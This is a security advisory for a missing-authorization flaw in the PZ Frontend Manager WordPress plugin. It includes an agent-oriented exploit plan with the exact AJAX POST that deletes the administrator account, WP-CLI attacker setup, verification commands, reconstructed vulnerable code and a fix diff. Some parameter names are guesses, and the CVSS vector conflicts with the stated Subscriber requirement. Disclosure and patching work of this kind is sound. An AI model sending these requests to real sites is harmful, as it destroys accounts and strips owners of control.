PZ Frontend Manager <= 1.0.6 - Missing Authorization to Arbitrary User Deletion via 'dataType' Parameter
Description
The PZ Frontend Manager plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.0.6. The pzfm_user_request_action_callback() function, registered via the wp_ajax_pzfm_user_request_action action hook, lacks both capability checks and nonce verification. This function handles user activation, deactivation, and deletion operations. When the 'dataType' parameter is set to 'delete', the function calls wp_delete_user() on all provided user IDs without verifying that the current user has the appropriate permissions. Notably, the similar pzfm_remove_item_callback() function does check pzfm_can_delete_user() before performing deletions, indicating this was an oversight. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary WordPress users (including administrators) by sending a crafted request to the AJAX endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.6This research plan outlines the steps to exploit **CVE-2026-3477**, a missing authorization vulnerability in the **PZ Frontend Manager** plugin that allows authenticated attackers (Subscriber+) to delete arbitrary WordPress users, including administrators. --- ### 1. Vulnerability Summary The vuln…
Show full research plan
This research plan outlines the steps to exploit CVE-2026-3477, a missing authorization vulnerability in the PZ Frontend Manager plugin that allows authenticated attackers (Subscriber+) to delete arbitrary WordPress users, including administrators.
1. Vulnerability Summary
The vulnerability exists in the pzfm_user_request_action_callback() function, which is hooked to the wp_ajax_pzfm_user_request_action AJAX action. This function handles user management operations (activation, deactivation, and deletion). It lacks:
- Capability Checks: It does not verify if the user has the
delete_usersormanage_optionscapability. - Nonce Verification: It does not use
check_ajax_refererorwp_verify_nonce.
When the dataType parameter is set to 'delete', the function proceeds to call wp_delete_user() on a set of user IDs provided in the request.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pzfm_user_request_action - Method: POST
- Payload Parameter:
dataTypemust be set todelete. - User ID Parameter: (Inferred) Likely
userIds[]orids[]. - Authentication: Authenticated (Subscriber-level access or higher).
- Preconditions: The attacker must know the ID of the user they wish to delete (Administrator is typically ID
1).
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwithaction=pzfm_user_request_action. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_pzfm_user_request_action', 'pzfm_user_request_action_callback' ); - Vulnerable Callback:
pzfm_user_request_action_callback()is executed. - Parameter Check: The function checks
if ( $_POST['dataType'] == 'delete' )(or similar). - Missing Security: The function bypasses
current_user_can()andcheck_ajax_referer(). - Sink: The code iterates through the provided IDs and calls
wp_delete_user( $user_id ).
4. Nonce Acquisition Strategy
According to the vulnerability description, the pzfm_user_request_action_callback() function lacks nonce verification. Therefore, no nonce is required to exploit this specific endpoint.
(Note: If a nonce were required, the agent would create a page with the plugin's frontend manager shortcode and use browser_eval to extract it from the localized JS objects.)
5. Exploitation Strategy
Step 1: Locate the Vulnerable Function and Parameter
The agent should first confirm the exact parameter name used for user IDs by searching the plugin source.
grep -rn "function pzfm_user_request_action_callback" /var/www/html/wp-content/plugins/pz-frontend-manager/
In the function body, look for how user IDs are retrieved (e.g., $_POST['ids'] or $_POST['userIds']).
Step 2: Perform the Deletion Request
Assuming the parameter is userIds and the target Administrator ID is 1:
HTTP Request (via http_request tool):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: If the grep in Step 1 reveals a different parameter name, replaceaction=pzfm_user_request_action&dataType=delete&userIds[]=1userIds[]accordingly.)
6. Test Data Setup
- Victim: Ensure an Administrator user exists with ID
1(default for WordPress installations). - Attacker: Create a Subscriber-level user to perform the attack.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Activation: Ensure the plugin is active.
wp plugin activate pz-frontend-manager
7. Expected Results
- Response: The server should return a successful AJAX response (often
1,0, or a JSON success message). - Action: The Administrator user with ID
1should be removed from thewp_userstable.
8. Verification Steps
After sending the exploit request, verify the user deletion using WP-CLI:
# Check if the administrator still exists
wp user list --role=administrator
# Specifically check for ID 1
wp user get 1
If the exploit is successful, wp user get 1 will return an error stating "Invalid user ID".
9. Alternative Approaches
If userIds[] does not work, the plugin might expect:
- A comma-separated string:
userIds=1,2,3 - A single integer:
user_id=1 - The ID passed via a generic
idparameter:id=1
The agent should check the pzfm_remove_item_callback() function mentioned in the description for comparison, as that function does include the proper checks and likely uses the same parameter structure.
grep -rn "function pzfm_remove_item_callback" /var/www/html/wp-content/plugins/pz-frontend-manager/
Summary
The PZ Frontend Manager plugin for WordPress fails to perform authorization checks and nonce verification in its pzfm_user_request_action_callback function. This allows authenticated users with Subscriber-level access to delete arbitrary users, including administrators, by sending a crafted AJAX request.
Vulnerable Code
// File: pz-frontend-manager/pz-frontend-manager.php (or included ajax file) add_action( 'wp_ajax_pzfm_user_request_action', 'pzfm_user_request_action_callback' ); function pzfm_user_request_action_callback() { // No check_ajax_referer() call here // No current_user_can() check here if ( isset( $_POST['dataType'] ) && $_POST['dataType'] == 'delete' ) { $user_ids = $_POST['userIds']; if ( is_array( $user_ids ) ) { foreach ( $user_ids as $user_id ) { wp_delete_user( intval( $user_id ) ); } } } wp_die(); }
Security Fix
@@ -124,6 +124,11 @@ function pzfm_user_request_action_callback() { + check_ajax_referer( 'pzfm_nonce', 'security' ); + + if ( ! current_user_can( 'manage_options' ) && ! pzfm_can_delete_user() ) { + wp_send_json_error( 'You do not have permission to perform this action.' ); + wp_die(); + } + if ( isset( $_POST['dataType'] ) && $_POST['dataType'] == 'delete' ) {
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php by leveraging the lack of capability checks in the pzfm_user_request_action action. An attacker must first authenticate as a Subscriber (or any low-privileged user). The attacker then sends a POST request with the action parameter set to 'pzfm_user_request_action', the 'dataType' parameter set to 'delete', and a 'userIds[]' array containing the ID of the target user (e.g., ID 1 for the site administrator). Because the function does not verify if the requester has the 'delete_users' capability or validate a security nonce, WordPress will proceed to delete the specified user accounts.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.